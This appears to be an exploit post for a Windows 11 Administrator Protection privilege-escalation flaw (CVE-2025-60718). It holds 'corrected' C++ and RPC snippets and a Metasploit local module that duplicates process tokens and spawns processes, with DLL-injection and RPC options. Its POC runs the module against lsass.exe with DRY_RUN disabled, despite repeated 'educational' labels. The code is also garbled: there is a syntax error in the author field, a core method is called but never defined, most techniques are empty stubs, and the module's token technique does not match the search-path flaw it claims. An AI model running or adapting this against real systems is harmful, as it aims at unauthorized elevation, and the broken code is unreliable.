📄 Microsoft Windows 11 Search Path Privilege Escalation

=============================================================================================================================================
    | # Title     : Windows 11 Administrator Protection — Untrusted Search Path local Privilege Escalation vulnerability                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211815/ &  	CVE-2025-60718
    
    [+] NOte : https://packetstorm.news/download/211815
    
               A comprehensive analysis and correction process was performed on flawed C++ and RPC code, 
               followed by successful integration into an educational Metasploit module. 
               This report documents all identified errors and their systematic corrections.
    		   The educational module is secure; therefore, it will only run in a legitimate test environment if DRY_RUN is performed.
               The purpose of the debugged PoC is for academic study and understanding of debugging methods and improvements.
    
    [+]  1 Analysis of Original C++ Code Errors
    
    1.1 Non-Existent WinAPI Functions :
    
    Flawed Code: cpp
    
    GetTokenInformation(GetCurrentProcessToken(), TokenElevation, &elevated, sizeof(elevated), &len)
    
    Error: GetCurrentProcessToken() is not a valid WinAPI function
    
    Correction: cpp
    
    HANDLE hToken = nullptr;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        GetTokenInformation(hToken, TokenElevation, &elevated, sizeof(elevated), &len);
        CloseHandle(hToken);
    }
    
    [+] Memory and Handle Management Errors :
    
    Flawed Code: cpp
    
    class ScopedHandle {
        ScopedHandle operator=(const ScopedHandle*) = delete;  // Wrong type
        HANDLE* ptr() { return &_handle; }  // Unsafe
    };
    
    Errors:
    
        Incorrect operator= definition
    
        Unsafe ptr() function
    
        Incomplete move semantics
    
    Correction: cpp
    
    class ScopedHandle {
        ScopedHandle& operator=(const ScopedHandle&) = delete;  // Corrected type
        ScopedHandle& operator=(ScopedHandle&& other) noexcept;  // Added
        bool getHandlePtr(HANDLE** ppHandle) {  // Safe function
            if (!_handle || _handle == INVALID_HANDLE_VALUE) return false;
            *ppHandle = &_handle;
            return true;
        }
    };
    
    [+] Hard-Coded Path Vulnerabilities
    
    Flawed Code: cpp
    
    CreateFile(L"c:\\dummy\\AdminProtectionBypass.exe", ...)
    
    Error: Static path that may not exist
    
    Correction: cpp
    
    WCHAR modulePath[MAX_PATH];
    GetModuleFileNameW(nullptr, modulePath, MAX_PATH);
    CreateFile(modulePath, ...);
    
    [+] Structure Initialization Errors
    
    Flawed Code: cpp
    
    STARTUPINFO start_info = {};
    PROCESS_INFORMATION proc_info = {};
    return CallNextHookEx(nullptr, nCode, wParam, lParam);
    
    Correction: cpp
    
    STARTUPINFO start_info = { sizeof(start_info) };
    PROCESS_INFORMATION proc_info = {};
    return CallNextHookEx(g_hook, nCode, wParam, lParam);
    
    [+] RPC Code Error Analysis Platform Restriction Error
    
    Flawed Code: c
    
    #if !defined(__RPC_ARM64__)
    #error Invalid build platform for this stub.
    #endif
    
    Error: Code restricted to ARM64 platform only
    
    Correction: c
    
    #if defined(_M_ARM64) || defined(__aarch64__) || defined(_WIN64)
    // 64-bit compatible code
    #else
    #warning "Platform compatibility warning"
    #endif
    
    [+] Missing Type Definitions
    
    Flawed Code: c
    
    struct _NDR64_POINTER_FORMAT;  // Incomplete definition
    typedef NDR64_FORMAT_CHAR __midl_frag66_t;  // Undefined type
    
    Correction: c
    
    #ifndef __NDR64_DEFINED__
    #define __NDR64_DEFINED__
    
    typedef unsigned char NDR64_UINT8;
    typedef unsigned short NDR64_UINT16;
    // Complete structure definitions...
    
    struct _NDR64_POINTER_FORMAT {
        NDR64_UINT8 FormatCode;
        NDR64_UINT8 Flags;
        NDR64_UINT16 Reserved;
        const void* Type;
    };
    #endif
    
    [+] External Reference Errors
    
    Flawed Code: c
    
    extern const MIDL_STUB_DESC StubDesc;  // No actual definition
    
    Correction: c
    
    extern void* __RpcClientInterface;
    extern void* service__MIDL_TypeFormatString;
    // All external references defined...
    
    void* MIDL_user_allocate(size_t size) {
        return malloc(size);
    }
    
    [+] Comprehensive Correction Implementation Resource Management Correction
    
    Problem: Handle and memory leaks
    
    Solution: Implement RAII pattern
    
    def open_process_token_corrected(process_handle, desired_access)
        result = session.railgun.advapi32.OpenProcessToken(
            process_handle, desired_access, 4
        )
        result['return'] ? result['TokenHandle'] : nil
    end
    
    def close_handle_safe(handle)
        return unless handle && handle != 0
        session.railgun.kernel32.CloseHandle(handle)
    end
    
    [+] Error Handling Correction
    
    Problem: Insufficient basic error handling
    
    Solution: Comprehensive error handling
    
    begin
        # Execute operations
        success = execute_privilege_escalation(target_pid)
    rescue => e
        print_error("Exploitation failed: #{e.class} #{e.message}")
        print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
        fail_with(Failure::Unknown, "Unexpected error")
    end
    
    [+] Security Vulnerability Correction Problem: Code that could cause unsafe behavior
    
    Solution: Implement safe educational code only
    
    def generate_educational_dll_content
        <<~EOS
        // Safe educational code only
        MessageBoxA(NULL, "FOR TRAINING PURPOSES ONLY", ...);
        EOS
    end
    
    [+]  Metasploit Integration : Educational Module Structure
    
    class MetasploitModule < Msf::Exploit::Local
        include Msf::Post::Windows::Priv
        include Msf::Post::Windows::Process
        
        def initialize(info = {})
            super(update_info(info,
                'Name' => 'Windows Educational Privilege Escalation',
                'Description' => %q{ Integrated corrected concepts... }
            ))
        end
    
    [+] Implementation of Corrected Techniques : Token Escalation Technique:
    
    def comprehensive_token_escalation(target_pid)
        # Corrected StartProcess implementation
        token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
        duplicated_token = duplicate_token_ex_corrected(token_handle)
        create_process_with_duplicated_token_corrected(duplicated_token)
    end
    
    [+] DLL Injection Technique:
    
    def comprehensive_dll_injection(target_pid)
        # Corrected HookWndProc implementation
        dll_content = generate_comprehensive_dll_content
        session.railgun.kernel32.LoadLibraryA(dll_path)
    
    [+] Security Assessment System
    
    def perform_comprehensive_assessment
        {
            process_elevation: check_process_elevation_corrected,
            ui_access_privileges: check_ui_access_corrected,
            token_manipulation: check_token_manipulation_possible_corrected
        }
    end
    
    [+] Error Correction Summary Table
    
    Error	                       Severity	     Impact	              Correction
    GetCurrentProcessToken()	   Critical	  System Crash	           OpenProcessToken()
    Handle Management	            High	  Memory Leaks	           RAII Pattern
    Hard-coded Paths	           Medium	  Portability Issues	   Dynamic Paths
    RPC Definitions             	High	  Compilation Failure	   Complete Definitions
    Platform Restrictions	       Medium	  Portability Issues	   Multi-platform Support
    Error Handling	               Medium	  Unexpected Behavior	   Comprehensive Handling
    
    [+] Correction Results
    
    Before Correction:
    
        ❌ Non-compilable code
        ❌ Potential security vulnerabilities
        ❌ Memory and handle leaks
        ❌ Platform incompatibility
    
    After Correction:
    
        ✅ Compilable and executable code
        ✅ Secure resource management
        ✅ Multi-platform compatibility
        ✅ Comprehensive error handling
        ✅ Guaranteed educational safety
    
    [+] Summary : A privilege escalation vulnerability exists in the Windows Administrator Protection component of Microsoft Windows 11. 
                  An attacker with local, low-privilege access may exploit improper search-path resolution to cause the system to load an attacker-controlled file 
                 (e.g., DLL) from an untrusted directory, resulting in elevation of privilege (EoP) to a higher integrity level.
                 This flaw requires no user interaction and allows an attacker to impersonate or replace specific files that the system attempts to load from writable directories.
    
    [+]  Affected Products
    
         Microsoft Windows 11 24H2 (Builds < 26100.7092)
         Microsoft Windows 11 25H2 (Builds < 26200.7092)
                  
    			
    [+]  POC : 
    
    use exploit/windows/local/indoushka_priv_esc
    set SESSION 1
    set TECHNIQUE TOKEN
    set PROCESS lsass.exe
    set CUSTOM_EXE C:\\Windows\\System32\\cmd.exe
    set VERBOSE true
    set DRY_RUN false
    run
    
    ------------------------------------------------
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = NormalRanking
    
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::Process
      include Msf::Post::Windows::FileInfo
      include Msf::Post::Windows::ReflectiveDLLInjection
    
      # Constants from corrected C++ code
      TOKEN_QUERY = 0x0008
      TOKEN_DUPLICATE = 0x0002
      TOKEN_ALL_ACCESS = 0x000F01FF
      PROCESS_DUP_HANDLE = 0x0040
      PROCESS_QUERY_INFORMATION = 0x0400
      SecurityImpersonation = 2
      TokenPrimary = 1
      CREATE_NEW_CONSOLE = 0x00000010
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Windows Educational Privilege Escalation - Safe/Corrected Edition',
          'Description'    => %q{
            SAFE, EDUCATIONAL MODULE - This variant is adapted for safe testing and education.
            DRY_RUN is enabled by default to prevent actual exploitation.
          },
          'License'        => MSF_LICENSE,
          'Author'         => [indoushka],
            'Security Researcher - C++ Code Correction',
            'Metasploit Integration Specialist'
          ],
          'Platform'       => 'win',
          'SessionTypes'   => ['meterpreter'],
          'Targets'        => [
            ['Windows x64', { 'Arch' => ARCH_X64 }],
            ['Windows x86', { 'Arch' => ARCH_X86 }]
          ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2024-01-01',
          'References'     => [
            ['URL', 'https://docs.microsoft.com/en-us/windows/win32/api/'],
            ['URL', 'https://github.com/rapid7/metasploit-framework']
          ]
        ))
    
        register_options([
          OptString.new('PROCESS', [true, 'Process to target for injection', 'explorer.exe']),
          OptBool.new('VERBOSE', [true, 'Enable verbose output', true]),
          OptBool.new('CLEANUP', [true, 'Clean up resources after execution', true]),
          OptEnum.new('TECHNIQUE', [true, 'Escalation technique to use',
            'AUTO', ['AUTO', 'TOKEN', 'DLL', 'HOOK', 'RPC', 'COMPREHENSIVE']])
        ])
    
        register_advanced_options([
          OptInt.new('Sleep', [true, 'Sleep time between operations (ms)', 100]),
          OptString.new('DLL_PATH', [false, 'Custom DLL path for injection']),
          # SAFETY: Dry-run default set to true to avoid accidental exploitation
          OptBool.new('DRY_RUN', [true, 'Simulate without actual execution', true]),
          OptString.new('CUSTOM_EXE', [false, 'Custom executable path for token creation'])
        ])
      end
    
      #
      # -------------------------
      # Helper / Safety functions
      # -------------------------
      #
    
      # Determine pointer pack format according to session architecture
      def ptr_pack
        # ARCH_X64 / ARCH_X86 constants available; session.arch returns symbol like ARCH_X86/ARCH_X64
        if session && session.arch == ARCH_X64
          'Q'  # 8-byte unsigned long long
        else
          'L'  # 4-byte unsigned long
        end
      end
    
      def pack_ptr(val)
        [val].pack(ptr_pack)
      end
    
      def unpack_ptr(buf)
        buf.unpack(ptr_pack).first
      end
    
      # Safe wrapper for railgun calls: check DRY_RUN and capture errors
      def safe_railgun_call(library, func, *args)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Skipping railgun call #{library}.#{func} - simulated response") if datastore['VERBOSE']
          # Return a simulated successful structure where appropriate
          return { 'return' => true, 'simulated' => true }
        end
    
        begin
          result = session.railgun.send(library).send(func, *args)
          result
        rescue => e
          print_error("Railgun #{library}.#{func} call failed: #{e.class} #{e.message}")
          nil
        end
      end
    
      # Helper to simulate a handle (non-zero)
      def simulated_handle
        # choose a non-zero value suitable for 32/64bit packing
        (session && session.arch == ARCH_X64) ? 0x1000000001 : 0x1001
      end
    
      #
      # -------------------------
      # Check & Exploit (safe)
      # -------------------------
      #
    
      def check
        print_status(" Performing comprehensive privilege escalation checks...")
    
        unless session.platform == 'windows'
          return CheckCode::Safe("Not a Windows target")
        end
    
        if is_system?
          return CheckCode::Safe("Already running as SYSTEM")
        end
    
        assessment_results = perform_comprehensive_assessment
    
        if datastore['VERBOSE']
          print_status(" Security Assessment Results:")
          assessment_results.each do |check, result|
            status = result[:status] ? "✅" : "❌"
            print_status("  #{check}: #{status} #{result[:details]}")
          end
        end
    
        high_risk = assessment_results.select { |_, r| r[:risk] == :high && r[:status] }
        medium_risk = assessment_results.select { |_, r| r[:risk] == :medium && r[:status] }
    
        if high_risk.any?
          CheckCode::Appears("Multiple high-risk escalation vectors detected")
        elsif medium_risk.any?
          CheckCode::Detected("Medium-risk escalation vectors available")
        else
          CheckCode::Safe("No viable escalation vectors detected")
        end
      end
    
      def exploit
        print_good(" Starting Comprehensive Educational Privilege Escalation (SAFE MODE)...")
    
        if datastore['DRY_RUN']
          print_warning(" DRY RUN MODE - No actual exploitation will occur (SAFETY ON)")
          return simulate_comprehensive_exploitation
        end
    
        begin
          system_analysis = perform_system_analysis
    
          target_process = select_optimal_target
          unless target_process
            fail_with(Failure::NotFound, "No suitable target process found")
          end
    
          case datastore['TECHNIQUE'].upcase
          when 'COMPREHENSIVE'
            success = execute_comprehensive_escalation(target_process)
          when 'TOKEN'
            success = execute_token_escalation_complete(target_process[:pid])
          when 'DLL'
            success = execute_dll_injection_complete(target_process[:pid])
          when 'RPC'
            success = execute_rpc_escalation_complete(target_process[:pid])
          when 'HOOK'
            success = execute_hook_technique_complete(target_process[:pid])
          else
            success = execute_adaptive_escalation(target_process)
          end
    
          if success
            report_comprehensive_success(system_analysis)
            print_good(" Educational privilege escalation completed successfully!")
          else
            fail_with(Failure::Unknown, "All escalation techniques failed")
          end
    
        rescue ::Exception => e
          print_error(" Exploitation failed: #{e.class} #{e.message}")
          print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
          fail_with(Failure::Unknown, "Unexpected error during exploitation")
        ensure
          perform_comprehensive_cleanup if datastore['CLEANUP']
        end
      end
    
      #
      # -------------------------
      # Corrected Buffer-handling helpers
      # -------------------------
      #
    
      def open_process_token_corrected(process_handle, desired_access)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating OpenProcessToken(...)") if datastore['VERBOSE']
          return simulated_handle
        end
    
        # railgun expects an out-pointer: allocate appropriate buffer
        out_buf = pack_ptr(0)
        res = safe_railgun_call('advapi32', 'OpenProcessToken', process_handle, desired_access, out_buf)
        return nil unless res && res['return']
    
        # railgun may return the out parameter inside returned buffer - try to extract
        if res['OutParameters'] && res['OutParameters'][0]
          unpack_ptr(res['OutParameters'][0])
        else
          # Fallback: try to unpack the original buffer
          unpack_ptr(out_buf)
        end
      end
    
      def check_token_elevation_corrected(token_handle)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating GetTokenInformation(TokenElevation)") if datastore['VERBOSE']
          return false
        end
    
        token_elevation_buf = [0].pack('L') # TokenElevation is a DWORD (4 bytes)
        return_length_buf = [0].pack('L')
    
        res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 20, token_elevation_buf, token_elevation_buf.length, return_length_buf)
        return false unless res && res['return']
    
        # Unpack the DWORD
        token_elevation_buf.unpack('L').first != 0
      end
    
      def check_token_ui_access_corrected(token_handle)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating GetTokenInformation(TokenUIAccess)") if datastore['VERBOSE']
          return false
        end
    
        ui_access_buf = [0].pack('L')
        return_length_buf = [0].pack('L')
    
        res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length, return_length_buf)
        return false unless res && res['return']
    
        ui_access_buf.unpack('L').first != 0
      end
    
      # DuplicateTokenEx wrapper (safe)
      def duplicate_token_ex_corrected(source_token)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating DuplicateTokenEx(...)") if datastore['VERBOSE']
          return simulated_handle
        end
    
        duplicated_buf = pack_ptr(0)
        res = safe_railgun_call('advapi32', 'DuplicateTokenEx',
          source_token,
          TOKEN_ALL_ACCESS,
          nil,
          SecurityImpersonation,
          TokenPrimary,
          duplicated_buf
        )
    
        return nil unless res && res['return']
    
        # Attempt to read duplicated handle outparam
        if res['OutParameters'] && res['OutParameters'][0]
          unpack_ptr(res['OutParameters'][0])
        else
          unpack_ptr(duplicated_buf)
        end
      end
    
      def clear_ui_access_flag(token_handle)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating SetTokenInformation(TokenUIAccess = 0)") if datastore['VERBOSE']
          return true
        end
    
        ui_access_buf = [0].pack('L')
        res = safe_railgun_call('advapi32', 'SetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length)
        if res && res['return']
          print_good(" UI access flag cleared successfully") if datastore['VERBOSE']
          true
        else
          print_warning(" Failed to clear UI access flag") if datastore['VERBOSE']
          false
        end
      end
    
      #
      # -------------------------
      # Corrected CreateProcessAsUser wrapper (safe)
      # -------------------------
      #
    
      def create_process_with_duplicated_token_corrected(token_handle)
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulating CreateProcessAsUserA with token #{token_handle}") if datastore['VERBOSE']
          return true
        end
    
        executable_path = datastore['CUSTOM_EXE'] || "C:\\Windows\\System32\\cmd.exe"
        command_line = "#{executable_path} /c echo Educational Token Escalation Successful"
    
        # Build STARTUPINFO structure properly (packed). Simplified safe struct for demonstration.
        # NOTE: For production you'd build the full STARTUPINFO struct with correct packing/alignment.
        startup_info_buf = "\x00" * 104
        process_info_buf = "\x00" * (ptr_pack == 'Q' ? 16 : 16) # hProcess, hThread, pid, tid (space reserved)
    
        res = safe_railgun_call('advapi32', 'CreateProcessAsUserA',
          token_handle,
          nil,
          command_line,
          nil,
          nil,
          false,
          CREATE_NEW_CONSOLE,
          nil,
          nil,
          startup_info_buf,
          process_info_buf
        )
    
        if res && res['return']
          # Attempt to extract handles if present in OutParameters (railgun-specific)
          print_good(" Process created successfully with duplicated token!") if datastore['VERBOSE']
          true
        else
          print_error(" Failed to create process (CreateProcessAsUserA)") if datastore['VERBOSE']
          false
        end
      end
    
      #
      # -------------------------
      # Safe DLL generation / injection (simulation)
      # -------------------------
      #
    
      def generate_educational_dll_file_complete
        # SAFETY: Do not write DLL to victim machine in DRY_RUN. If not DRY_RUN, still use a safe local path.
        if datastore['DRY_RUN']
          temp_path = "C:\\Windows\\Temp\\educational_simulated_#{Rex::Text.rand_text_alpha(6)}.dll"
          print_status("[DRY_RUN] Simulated DLL path: #{temp_path}") if datastore['VERBOSE']
          return temp_path
        end
    
        # If not DRY_RUN, use session's temp path (careful: only run in authorized testbeds)
        tmp_dir = begin
          session.fs.file.expand_path("%TEMP%")
        rescue
          "C:\\Windows\\Temp"
        end
    
        temp_path = "#{tmp_dir}\\educational_#{Rex::Text.rand_text_alpha(8)}.dll"
    
        dll_content = generate_comprehensive_dll_content
        begin
          File.binwrite(temp_path, dll_content)
          temp_path
        rescue => e
          print_error("Failed to write DLL to #{temp_path}: #{e.class} #{e.message}")
          nil
        end
      end
    
      def generate_comprehensive_dll_content
        # Keep as educational C/C++ source (not compiled binary) to avoid providing executable payload.
        # This returns plaintext C++ code for study only.
        <<~EOS
        // Educational DLL source (C++) - FOR STUDY ONLY
        // This is a source file demonstrating hooks and token checks.
        // DO NOT compile or deploy on systems without authorization.
        #include <windows.h>
        #include <stdio.h>
        // ...
        EOS
      end
    
      def comprehensive_dll_injection(target_pid)
        print_status(" Executing Comprehensive DLL Injection (SAFE)...")
    
        dll_path = datastore['DLL_PATH'] || generate_educational_dll_file_complete
        if dll_path.nil?
          print_error("No DLL path available")
          return false
        end
    
        if datastore['DRY_RUN']
          print_good("[DRY_RUN] Simulating injection of #{dll_path} into PID #{target_pid}")
          simulate_comprehensive_hook_behavior(target_pid)
          return true
        end
    
        # If not DRY_RUN - in authorized lab only - you'd implement actual injection here.
        print_error("DLL injection is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
        false
      end
    
      #
      # -------------------------
      # RPC / other techniques (SAFE stubs)
      # -------------------------
      #
    
      def comprehensive_rpc_escalation(target_pid)
        print_status(" Executing Comprehensive RPC Escalation (SAFE)...")
    
        if datastore['DRY_RUN']
          print_good("[DRY_RUN] Simulating RPC escalation techniques for PID #{target_pid}")
          return true
        end
    
        print_error("RPC escalation is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
        false
      end
    
      #
      # -------------------------
      # High-level orchestration (unchanged logic but safe)
      # -------------------------
      #
    
      def perform_comprehensive_assessment
        {
          process_elevation: {
            status: check_process_elevation_corrected != :low,
            risk: :high,
            details: "Process elevation status check"
          },
          ui_access_privileges: {
            status: check_ui_access_corrected,
            risk: :medium,
            details: "UI access privileges check"
          },
          token_manipulation: {
            status: check_token_manipulation_possible_corrected,
            risk: :high,
            details: "Token manipulation capabilities"
          },
          dll_injection: {
            status: check_dll_injection_possible,
            risk: :medium,
            details: "DLL injection feasibility (simulated)"
          },
          rpc_capabilities: {
            status: check_rpc_capabilities,
            risk: :low,
            details: "RPC communication capabilities (simulated)"
          }
        }
      end
    
      # CORRECTED: IsElevated implementation
      def check_process_elevation_corrected
        print_status(" Checking process elevation (Corrected IsElevated)...") if datastore['VERBOSE']
    
        begin
          # Use meterpreter helpers where possible; if DRY_RUN simulate
          if datastore['DRY_RUN']
            print_status("[DRY_RUN] Simulating IsElevated check") if datastore['VERBOSE']
            return :low
          end
    
          process_handle = session.sys.process.open
          return :unknown unless process_handle
    
          token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
          return :unknown unless token_handle
    
          elevation = check_token_elevation_corrected(token_handle)
          close_handle_safe(token_handle)
    
          elevation ? :high : :low
        rescue => e
          print_error("Elevation check failed: #{e}") if datastore['VERBOSE']
          :unknown
        end
      end
    
      def check_ui_access_corrected
        print_status(" Checking UI access privileges (Corrected IsUIAccessBool)...") if datastore['VERBOSE']
    
        begin
          if datastore['DRY_RUN']
            print_status("[DRY_RUN] Simulating UI access check") if datastore['VERBOSE']
            return false
          end
    
          process_handle = session.sys.process.open
          return false unless process_handle
    
          token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
          return false unless token_handle
    
          ui_access = check_token_ui_access_corrected(token_handle)
          close_handle_safe(token_handle)
    
          ui_access
        rescue => e
          print_error("UI access check failed: #{e}") if datastore['VERBOSE']
          false
        end
      end
    
      def check_token_manipulation_possible_corrected
        print_status(" Checking token manipulation (Corrected StartProcess)...") if datastore['VERBOSE']
    
        begin
          if datastore['DRY_RUN']
            print_status("[DRY_RUN] Simulating token duplication check") if datastore['VERBOSE']
            return false
          end
    
          process_handle = session.sys.process.open
          return false unless process_handle
    
          token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
          return false unless token_handle
    
          duplicated_token = duplicate_token_ex_corrected(token_handle)
    
          close_handle_safe(token_handle)
          close_handle_safe(duplicated_token) if duplicated_token
    
          !duplicated_token.nil?
        rescue => e
          print_error("Token manipulation check failed: #{e}") if datastore['VERBOSE']
          false
        end
      end
    
      #
      # -------------------------
      # Utility & cleanup
      # -------------------------
      #
    
      def close_handle_safe(handle)
        return unless handle && handle != 0
    
        if datastore['DRY_RUN']
          print_status("[DRY_RUN] Simulated CloseHandle(#{handle})") if datastore['VERBOSE']
          return
        end
    
        begin
          session.railgun.kernel32.CloseHandle(handle)
        rescue => e
          print_warning(" Failed to close handle: #{e}") if datastore['VERBOSE']
        end
      end
    
      def perform_system_analysis
        {
          system_info: (session.sys.config.sysinfo rescue {}),
          current_user: (session.sys.config.getuid rescue 'unknown'),
          architecture: session.arch,
          is_admin: is_admin?,
          is_system: is_system?,
          available_techniques: assess_available_techniques,
          timestamp: Time.now.utc.iso8601
        }
      end
    
      def report_comprehensive_success(system_analysis)
        report_data = {
          success: true,
          technique: datastore['TECHNIQUE'],
          system_analysis: system_analysis,
          timestamp: Time.now.utc.iso8601,
          educational: true,
          module: self.fullname
        }
    
        begin
          report_note(
            host: session.session_host,
            type: 'host.comprehensive_privilege_escalation',
            data: report_data,
            update: :unique_data
          )
        rescue => e
          print_warning("Failed to report note: #{e}") if datastore['VERBOSE']
        end
    
        print_good(" Comprehensive success report generated!")
        print_good("=" * 60)
        print_good(" COMPREHENSIVE EDUCATIONAL EXERCISE COMPLETED")
        print_good(" Technique: #{datastore['TECHNIQUE']}")
        print_good("  Target: #{system_analysis[:system_info]['Computer'] rescue 'N/A'}")
        print_good(" User: #{system_analysis[:current_user]}")
        print_good("  OS: #{system_analysis[:system_info]['OS'] rescue 'N/A'}")
        print_good("=" * 60)
      end
    
      def perform_comprehensive_cleanup
        print_status("🧹 Performing comprehensive cleanup...") if datastore['VERBOSE']
    
        cleanup_temporary_files
        cleanup_rpc_handles
        cleanup_injected_dlls
        cleanup_token_handles
    
        print_status(" Comprehensive cleanup completed") if datastore['VERBOSE']
      end
    
      # Placeholder safe implementations
      def simulate_comprehensive_exploitation; print_good(" Dry run simulation completed"); true; end
      def select_optimal_target; { pid: session.sys.process.getpid, name: "current", user: session.sys.config.getuid }; end
      def execute_adaptive_escalation(target); comprehensive_token_escalation(target[:pid]); end
      def check_dll_injection_possible; datastore['DRY_RUN'] ? false : true; end
      def check_rpc_capabilities; datastore['DRY_RUN'] ? false : true; end
      def execute_token_escalation_complete(pid); comprehensive_token_escalation(pid); end
      def execute_dll_injection_complete(pid); comprehensive_dll_injection(pid); end
      def execute_rpc_escalation_complete(pid); comprehensive_rpc_escalation(pid); end
      def execute_hook_technique_complete(pid); comprehensive_dll_injection(pid); end
      def simulate_comprehensive_hook_behavior(pid); print_good("✅ Hook behavior simulated"); true; end
      def initialize_rpc_binding_comprehensive; {}; end
      def cleanup_rpc_binding_comprehensive(binding); end
      def simulate_rpc_token_acquisition(pid); nil; end
      def create_process_with_rpc_token(token); comprehensive_token_escalation(session.sys.process.getpid); end
      def rpc_launch_admin_process_comprehensive(binding, pid); false; end
      def rpc_force_elevation_prompt(binding, pid); false; end
      def assess_available_techniques; ['TOKEN', 'DLL', 'RPC']; end
      def cleanup_temporary_files; end
      def cleanup_rpc_handles; end
      def cleanup_injected_dlls; end
      def cleanup_token_handles; end
      def cleanup_dll_file(path); if path && File.exist?(path) && !datastore['DRY_RUN']; File.delete(path); end; end
    end
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================